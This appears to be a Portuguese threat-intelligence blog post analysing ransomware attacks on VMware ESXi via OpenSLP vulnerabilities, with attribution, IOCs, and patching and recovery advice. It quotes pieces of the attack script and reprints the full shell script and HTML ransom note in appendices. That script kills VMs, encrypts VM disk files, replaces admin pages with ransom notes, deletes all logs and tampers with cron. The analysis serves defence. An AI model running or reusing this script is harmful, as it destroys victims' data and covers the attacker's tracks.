Os servidores que executam o popular hipervisor de virtualização VMware ESXi foram atacados por pelo menos um grupo de ransomware há poucos dias, provavelmente após uma atividade de varredura para identificar hosts com vulnerabilidades Open Service Location Protocol (OpenSLP).
Especificamente, os relatórios sugerem que os agentes de ameaças têm aproveitado os sistemas sem patches vulneráveis ao CVE-2020-3992 e CVE-2021-21971 que, quando explorados, podem permitir a execução remota do código.
Tendo localizado e explorado um host vulnerável, os agentes de ameaças estão executando uma carga útil de ransomware que modifica a configuração do ESXi antes de criptografar os arquivos associados às máquinas virtuais e, finalmente, lançar uma nota de resgate específica para a vítima com detalhes de como o pagamento pode ser feito.
Embora a nota sugira que os dados foram roubados, isso ainda não foi confirmado e não há nenhum código de transferência de arquivo aparente nas amostras observadas. No entanto, qualquer agente de ameaça com a capacidade de executar um código em uma máquina comprometida pode facilmente usar utilitários disponíveis no mercado para executar a exfiltração de dados antes da criptografia.
Dos incidentes observados até agora, um grupo de ransomware como serviço (RaaS) conhecido como Nevada, considerado ativo desde o final de 2022, parece ser responsável por muitos desses ataques recentes, embora sua nota de resgate compartilhe muitas semelhanças com o Cheerscrypt, uma ameaça de ransomware que visava o VMware ESXi no início e meados de 2022.
Dada a natureza contínua dessa ameaça, as organizações que usam o VMware ESXi versão 7.x e anteriores são aconselhadas a garantir que suas instalações sejam devidamente corrigidas com urgência.
Grupo de ransomware Nevada
Acredita-se que o Nevada esteja associado aos ataques contra servidores VMware ESXi vulneráveis, especificamente, o grupo é suspeito de realizar atividades de varredura generalizadas para identificar hosts ESXi vulneráveis a CVE-2020-3992 e CVE-2021-21974 usando os seguintes endereços IP:
43.130.10[.]173
104.152.52[.]55
193.163.125[.]138
Como outros grupos RaaS, o Nevada já havia anunciado anteriormente em fóruns de crimes cibernéticos para recrutar afiliados. Em troca de fornecer a carga útil do ransomware e a infraestrutura de suporte, o grupo recebe uma comissão de 10 a 15%, dependendo do status do afiliado, de qualquer vítima que fizer o pagamento do resgate.
De acordo com suas próprias postagens, o Nevada fornece aos afiliados uma carga útil de “armário” (criptografia) escrita em Rust que tem suporte para hosts Linux, Windows e VMwareESXi, o último é objeto deste recente aumento na verificação de vulnerabilidade e ataques de ransomware.
Usando essa carga útil de criptografia multithread, o Nevada afirma que usa AES e criptografia de curva elíptica (ECC) para criptografar arquivos de vítimas em “faixas” que tornam os dados inacessíveis, mantendo alto desempenho e reduzindo o tempo para concluir o processo de criptografia.
Além de fornecer a carga útil real do ransomware usada para criptografar os dados da vítima – carga construída por vítima – o Nevada oferece aos seus afiliados acesso a um painel de controle usado para negociar com as vítimas.
Vulnerabilidades do VMware ESXi
As seguintes vulnerabilidades do VMware ESXi (relacionadas à implementação do OpenSLP) foram exploradas nesses incidentes recentes:
- CVE-2020-3992
- CVE-2021-21974
O primeiro passo que as organizações devem tomar é seguir o conselho dos avisos de segurança originais da VMwre e garantir que suas instalações sejam totalmente corrigidas e, no caso do ESXi 6.5 e 6.7, suportadas por seu fornecedor, visto que o fim do suporte geral para essas instalações foi em outubro de 2022.
Se apropriado para o seu ambiente, detalhes de uma solução temporária que desativa o serviço SLP são fornecidos no artigo 76372 da base de conhecimento da VMware.
CVE-2020-3992
Detalhada no comunicado de segurança VMware VMSA-2020-0023.3, uma vulnerabilidade OpenSLP use-after-free pode ser explorada por um agente de ameaça com acesso a um host ESXi via porta 427 para obter a execução remota do código.
Embora as práticas recomendadas limitem o acesso a essa porta de hosts específicos em uma rede de gerenciamento, agentes de ameaças que operam em uma rede comprometida ou hosts ESXi inadvertidamente expostos à internet podem criar uma situação em que essa vulnerabilidade pode ser explorada remotamente.
Com uma pontuação CVSS v3 de 9,8 esta vulnerabilidade é considerada crítica e afeta as versões 6.5, 6.7 e 7.0 do VMware ESXi.
CVE-2021-21974
Detalhada no comunicado de segurança VMware VMSA-2021-0002, uma vulnerabilidade de estouro de pilha OpenSLP também pode ser explorada por um agente de ameaça com acesso a um host ESXi via porta 427 para obter a execução remota de código.
Como no cenário anterior, o agente de ameaça precisaria estar na mesma rede que o host VMware ESXi, embora os hosts tenham sido expostos inadvertidamente (conforme verificado pelos agentes de ameaças nesses incidentes) podem permitir a exploração.
Apesar de não ser tão grave quanto o CVE-2020-3992, essa vulnerabilidade recebeu uma pontuação CVSS v3 de 8,8 e, portanto, é considerada importante, e também afeta as versões 6.5, 6.7 e 7.0 do VMware ESXi.
Carga útil do ransomware
Amplamente atribuído ao grupo de ransomware Nevada, uma ferramenta de criptografia executável do Linux (encrypt) e um script do shell associado (encrypt.sh) foram observados sendo descartados em hosts VMware ESXi comprometidos e usados para criptografar arquivos de máquinas virtuais.
Além desses dois arquivos, o shell script indica que os seguintes arquivos também estarão presentes em um host comprometido:
- html – Uma nota de resgate usada para substituir as páginas de gerenciamento do VMware ESXi
- motd – Uma nota de resgate a ser exibida na inicialização/login
- pem – Uma chave pública usada para criptografia
- zip – Potencialmente um arquivo contendo a carga útil do ransomware
Encerramento da máquina virtual
Antes de iniciar a fase de criptografia, o script de shell do ransomware usa a interface de linha de comando ESX| integrada, esxcli, para identificar o arquivo de configuração de cada máquina virtual.
Dentro de cada um desses arquivos de configuração, os nomes de arquivo do disco virtual (.vmdk) e virtual swar (.vswp) terão o numeral 1 anexado antes da extensão do arquivo, por exemplo, myvirtualmachine.vmdk se tornaria myvirtualmachine1.vmdk:
for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do
echo "FIND CONFIG: $config_file"
sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
done
Essa ação aumenta o tempo e a complexidade da recuperação, pois todos os arquivos de configuração precisarão ser reconstituídos para apontar para os caminhos de arquivo corretos.
Tendo modificado os arquivos de configuração, cada máquina virtual é identificada pesquisando a saída da lista de processos atualmente em execução e finalizando qualquer processo que contenha a string “vmx”:
kill -9 $(ps | grep vmx | awk '{print $2}')
Criptografia
Depois de encerrar com força todas as máquinas virtuais, garantindo que os arquivos de destino não sejam bloqueados, o script do shell prossegue para a fase de criptografia e começa concedendo permissões de execução da carga útil criptografada:
chmod +x $CLEAN_DIR/encrypt
Usando a interface de linha de comando ESXi, o script itera por meio de uma lista de volumes do sistema de arquivos da máquina virtual que são pesquisados pelos seguintes tipos de arquivo:
- .vmdk ― Virtual disk container
- .vmx ― Primary configuration
- .vmxf ― Supplementary configuration
- .vmsd ― Snapshot metadata
- .vmsn ― Snapshot saved state
- .vswp ― Swap memory
- .vmss ― Suspend state
- .nvram ― CMOS/BIOS
- .vmem ― Memory paging
O tamanho dos arquivos encontrados nesse processo é calculado para determinar como eles serão processados, sendo que os menores de 128 MB são criptografados em sua totalidade e os maiores de 128 MB são criptografados em “etapas”.
O tamanho do passo usado pelo processo de criptografia é calculado dividindo o tamanho do arquivo em MB por 100 e subtraindo um:
if [[ $(($size_kb/1024)) -gt 128 ]]; then
size_step=$((($size_kb/1024/100)-1))
fi
Dado o grande tamanho dos arquivos associados às máquinas virtuais, essa abordagem tornará a maioria dos arquivos inacessíveis sem a necessidade e o tempo para criptografar a totalidade dos dados.
Antes de executar o processo de criptografia, os argumentos da linha de comando são salvos em um arquivo texto correspondente ao arquivo “destino” atual com uma extensão de arquivo .args, por exemplo: myvirtualmachine1.vmdk.args:
echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
Presumivelmente, isso auxilia o processo de descriptografia registrando o tamanho da etapa de criptografia.
Usando os argumentos de tamanho de etapa calculados e especificando o arquivo public.pem de chave pública, a carga criptografada é executada usando o comando nohup “no hang up” para garantir que o processo continue a ser executado mesmo se o usuário (agente de ameaça) fizer logoff:
nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1&
A execução da carga criptografada sem nenhum parâmetro nos fornece uma explicação útil:
usage: encrypt [] [] []
enc_step - number of MB to skip while encryption
enc_size - number of MB in encryption block
file_size - file size in bytes (for sparse files)
Notas de resgate
Assim que a fase de criptografia for concluída, o shell script procurará /usr/lib/vmware por arquivos denominados index1.html, colocará um index.html substituto contendo a nota de resgate em seu lugar:
for file_ui in $(find /usr/lib/vmware -type f -name index.html); do
path_to_ui=$(dirname $file_ui)
echo "FIND UI: $path_to_ui"
mv "$path_to_ui/index.html" "$path_to_ui/index1.html"
cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html"
done
Nesse ponto, qualquer administrador que tentar acessar a interface administrativa do ESXi receberá uma nota de resgate (Figura 1) contendo um endereço de carteira bitcoin específico da vítima.
Possíveis locais para os arquivos index.html incluem:
/usr/lib/vmware/hostd/docroot
/usr/lib/vmware/hostd/docroot/ui/
Além disso, para garantir que a nota de resgate seja exibida a qualquer administrador que faça login no host ESXi comprometido por meio do console ou SSH, o arquivo da mensagem do dia (motd) também foi renomeado e substituído:
mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd
Semelhança da nota de resgate
Conforme mencionado anteriormente neste artigo, o conteúdo da nota de resgate observado nesses incidentes recentes é semelhante ao usado pelo ransomware Cheerscrypt, uma ameaça que também visava servidores VMware ESXi e que foi observada pela primeira vez no segundo trimestre de 2022.
Olá
-----------------------------------------------------
----------------------------------------------------
Alerta de segurança !!!
Hackeamos sua empresa com sucesso
Todos os arquivos foram roubados e criptografados por nós
Se você deseja restaurar arquivos ou evitar vazamento de arquivos, entre em contato conosco
-------------------------------
Atenção !!!
Contacte-nos no prazo de 3 dias, caso contrário iremos expor alguns dados e aumentar o preço
Não tente descriptografar arquivos importantes, isso pode danificar seus arquivos
Não confie em quem diz poder descriptografar, eles são mentirosos, ninguém pode descriptografar sem arquivo de chave
Se você não entrar em contato conosco, notificaremos seus clientes sobre a violação de dados por e-mail e mensagem de texto
E vender seus dados para seus concorrentes ou criminosos, os dados podem ser liberados
-----------------------------------------------
Informação
Bate-papo ao vivo no site
Você pode visitar este site e entrar em contato conosco por meio de widgets ou obter nosso endereço de e-mail neste site:
hXXp://.onion
Site de lançamento de dados
Se você não pagar e ninguém quiser comprar seus dados, aparecerá aqui
hXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion
------------------------------------------
Aviso
Como acessar URLs com sufixo onion?
hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw
Ou assista a este vídeo:
hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw
Embora isso possa ser apenas um exemplo de plágio de nota de resgate, vale a pena mencionar que grupos de ransomware são conhecidos por mudarem de nome no passado.
Com base na nota de resgate do Cheerscrypt e em relatórios anteriores de suas atividades, o grupo de ransomware usou a tática de dupla extorsão em seus ataques cibernéticos e compartilhou alguns dados roubados em seu site de vazamento baseado em Tor.
Por outro lado, não há nenhuma evidência específica neste momento que demonstre que o Nevada realizou a exfiltração de dados, embora a possibilidade continue.
Recomendações
As organizações que usam o VMware ESXi devem garantir que suas instalações sejam corrigidas e atualizadas de acordo com a orientação da VMware.
Organizações que usam o VMware ESXi versão 6.5 e 6.7 podem precisar verificar o status de suporte de suas instalações, pois o fim do suporte geral para ambas as versões está listado em outubro de 2022.
Deve-se considerar desabilitar ou restringir o acesso à porta 427, especialmente de redes não confiáveis.
Se o acesso remoto for necessário para hosts ESXi, considere colocá-los em uma rede que seja acessível após a primeira autenticação em uma VPN.
Certifique-se de que os hosts ESXi estejam sujeitos a backups regulares, preferencialmente armazenados off-line, e que os procedimentos de recuperação de desastres sejam robustos, testados e comprovados.
Recuperação
A Agência de Segurança Cibernética e Infraestrutura dos EUA (CISA) lançou um script de recuperação para vítimas de ataques de ransomware ESXiArgs.
O script de recuperação está disponível no Github da CISA em https://github.com/cisagov/ESXiArgs-Recover
Indicadores de compromisso
Os seguintes indicadores de compromisso (IOC) foram identificados associados a esta ameaça.
File | Hash | IOC |
---|---|---|
encrypt (Linux 64-bit ELF) | SHA256 | 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66 |
encrypt.sh (Shell script; believed to be the original file) | SHA256 | 10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459 |
encrypt.sh (Shell script) | SHA256 | 5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722 |
encrypt.sh (Shell script) | SHA256 | 87961344f13a452fb4aa46dd22a9aa31c5d411b1d8d37bac7a36f94a5be9fb0d |
Nota: Vários hashes criptográficos SHA256 foram identificados para o arquivo encrypt.sh, embora pareçam surgir de novas linhas ou diferenças de espaço em branco. Ainda que seja possível que várias versões estejam circulando, o conteúdo principal permanece o mesmo e essas diferenças sutis podem surgir de amostras sendo abertas e salvas em vários sistemas operacionais.
Além disso, os logs podem mostrar tentativas de acesso ou atividade dos seguintes endereços IP:
43.130.10[.]173
104.152.52[.]55
193.163.125[.]138
Esses endereços IP foram associados à verificação e vulnerabilidades no passado e podem, portanto, serem hosts usados por vários agentes de ameaças.
Apêndice A – criptografar o script shell
#!/bin/sh
CLEAN_DIR="/tmp/"
# SET LIMITS
ulimit -p $(ulimit -Hp)
ulimit -n $(ulimit -Hn)
## CHANGE CONFIG
for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do
echo "FIND CONFIG: $config_file"
sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
done
## STOP VMX
echo "KILL VMX"
kill -9 $(ps | grep vmx | awk '{print $2}')
## ENCRYPT
chmod +x $CLEAN_DIR/encrypt
for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F' ' '{print $2}'); do
echo "START VOLUME: $volume"
IFS=$'\n'
for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do
if [[ -f "$file_e" ]]; then
size_kb=$(du -k $file_e | awk '{print $1}')
if [[ $size_kb -eq 0 ]]; then
size_kb=1
fi
size_step=0
if [[ $(($size_kb/1024)) -gt 128 ]]; then
size_step=$((($size_kb/1024/100)-1))
fi
echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))"
echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1&
fi
done
IFS=$" "
done
## INDEX.HTML
CLEAN_DIR="/tmp/"
IFS=$'\n'
for file_ui in $(find /usr/lib/vmware -type f -name index.html); do
path_to_ui=$(dirname $file_ui)
echo "FIND UI: $path_to_ui"
mv "$path_to_ui/index.html" "$path_to_ui/index1.html"
cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html"
done
IFS=$' '
## SSH HI
mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd
## DELETE
echo "START DELETE"
/bin/find / -name *.log -exec /bin/rm -rf {} \;
A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)
while [[ $A -ne 0 ]];
do
/bin/echo "Waiting for task' completion... ($A)"
/bin/sleep 0.1
A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)
done
if [ -f "/sbin/hostd-probe.bak" ];
then
/bin/rm -f /sbin/hostd-probe
/bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe
fi
B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l)
if [[ $B -ne 0 ]];
then
/bin/chmod +w /var/spool/cron/crontabs/root
/bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1
/bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2
/bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1
/bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root
/bin/chmod -w /var/spool/cron/crontabs/root
fi
if [[ $B -eq 0 ]];
then
/bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh
fi
/bin/rm -f /store/packages/vmtools.py
/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf
/bin/echo '' > /etc/rc.local.d/local.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
/bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.pem" $CLEAN_DIR"archieve.zip"
/bin/sh /bin/auto-backup.sh
/bin/rm -- "$0"
/etc/init.d/SSH start
Apêndice B — Nota de resgate em HTML
<html lang="en">
<head>
<title>How to Restore Your Files</title>
</head>
<body>
<h1>How to Restore Your Files</h1>
<p><strong><u>Security Alert!!!</u></strong></p>
<p>We hacked your company successfully</p>
<p>All files have been stolen and encrypted by us</p>
<p>If you want to restore files or avoid file leaks, please send <b><RANSOM_AMOUNT_IN_BTC></b> bitcoins to the wallet <b><WALLET_ADDRESS></b></p>
<p>If money is received, encryption key will be available on <b>TOX_ID: <THREAT_ACTOR_TOX_ID></b></p>
<p><strong><u>Attention!!!</u></strong></p>
<p>Send money within 3 days, otherwise we will expose some data and raise the price</p>
<p>Don't try to decrypt important files, it may damage your files</p>
<p>Don't trust who can decrypt, they are liars, no one can decrypt without key file</p>
<p>If you don't send bitcoins, we will notify your customers of the data breach by email and text message</p>
<p>And sell your data to your opponents or criminals, data may be made release</p>
<p><strong><u>Note</u></strong></p>
<p>SSH is turned on</p>
<p>Firewall is disabled</p>
<br>
</body>
</html>
O que você deve fazer agora
Abaixo estão algumas maneiras pelas quais podemos ajudá-lo a começar a jornada para reduzir o risco de dados da sua empresa.
Agende uma sessão de demonstração conosco, iremos tirar todas as suas dúvidas e ajudá-lo a ver se a Varonis é adequada para suas necessidades.
Baixe nosso relatório gratuito e conheça os riscos associados à exposição de dados SaaS.
O que devo fazer agora?
Listamos abaixo três recomendações para reduzir os riscos de dados na sua organização:
Agende uma demonstração conosco: Veja a usabilidade de Varonis em uma sessão personalizada com base nas necessidades de segurança de dados da sua organização. Responderemos a todas as suas perguntas.
Veja um exemplo do nosso Relatório de Risco de Dados: Conheça as ameaças que podem permanecer no seu ambiente. O Relatório da Varonis é gratuito e demonstra claramente como realizar a remediação automatizada.
Siga-nos no LinkedIn, YouTube e X (Twitter): Obtenha insights detalhados sobre todos os aspectos da segurança de dados, incluindo DSPM, detecção de ameaças, segurança de IA, entre outros.